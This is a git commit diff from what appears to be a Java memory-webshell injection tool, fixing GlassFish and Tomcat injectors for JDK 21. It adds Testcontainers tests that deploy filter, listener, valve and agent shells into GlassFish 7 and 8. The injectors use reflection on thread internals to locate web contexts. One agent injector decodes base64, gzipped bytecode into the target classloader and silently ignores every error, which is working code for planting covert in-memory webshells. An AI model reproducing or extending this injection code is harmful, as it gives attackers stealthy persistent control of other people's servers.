fix: glassfish7/8 jdk21 shell failed

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 0e37e406da
commit a8cb4c68bc
14 changed files with 3078 additions and 15 deletions
@@ -87,7 +87,11 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
@@ -97,6 +101,18 @@ public class GlassFishFilterInjector {
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,7 +76,11 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +91,15 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -199,17 +199,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all") @SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) { public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try { try {
loader.loadClass(getClassName()); java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
return; findLoadedClass.setAccessible(true);
} catch (ClassNotFoundException ignored) { if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
} }
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) { } catch (Throwable ignored) {
} }
} }
} }
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) { public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try { try {
loader.loadClass(getClassName()); java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
return; findLoadedClass.setAccessible(true);
} catch (ClassNotFoundException ignored) { if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
} }
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) { } catch (Throwable ignored) {
} }
} }
} }
@@ -59,14 +59,22 @@ public class TomcatListenerInjector {
for (Thread thread : threads) { for (Thread thread : threads) {
String threadName = thread.getName(); String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) { if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) { } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try { try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
@@ -90,6 +98,18 @@ public class TomcatListenerInjector {
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -70,7 +70,9 @@ public class ServerProbe {
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux"; return ret = "SpringWebFlux";
} }
if (System.getProperty("AS_INSTALL") != null) { if (System.getProperty("AS_INSTALL") != null
|| System.getProperty("com.sun.aas.installRoot") != null
|| System.getProperty("glassfish.version") != null) {
return ret = "GlassFish"; return ret = "GlassFish";
} }
if (System.getProperty("jboss.home.dir") != null if (System.getProperty("jboss.home.dir") != null
@@ -156,7 +156,11 @@ public class GlassFishFilterProbe {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
@@ -166,6 +170,15 @@ public class GlassFishFilterProbe {
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
public static Object invokeMethod(Object obj, String methodName) throws Exception { public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null); return invokeMethod(obj, methodName, null, null);
} }
@@ -32,7 +32,7 @@ public class GlassFishWriter {
// GlassFish4+ // GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker"); Object blocker = getThreadBlocker(thread);
if (blocker == null || !blocker.getClass().getName().contains("Selector")) { if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue; continue;
} }
@@ -62,6 +62,19 @@ public class GlassFishWriter {
} }
} }
private Object getThreadBlocker(Thread thread) {
try {
return getFieldValue(thread, "blocker");
} catch (Throwable ignored) {
try {
// JDK 21+
return getFieldValue(thread, "nioBlocker");
} catch (Throwable ignored2) {
return null;
}
}
}
private boolean tryWriteRes(Object request) throws Exception { private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null); Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request); String data = getDataFromReq(request);
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish8ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:8.0.3-jdk21",
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.integration.probe.glassfish;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish8ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta(
"reajason/glassfish:8.0.3-jdk21",
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
File diff suppressed because it is too large Load Diff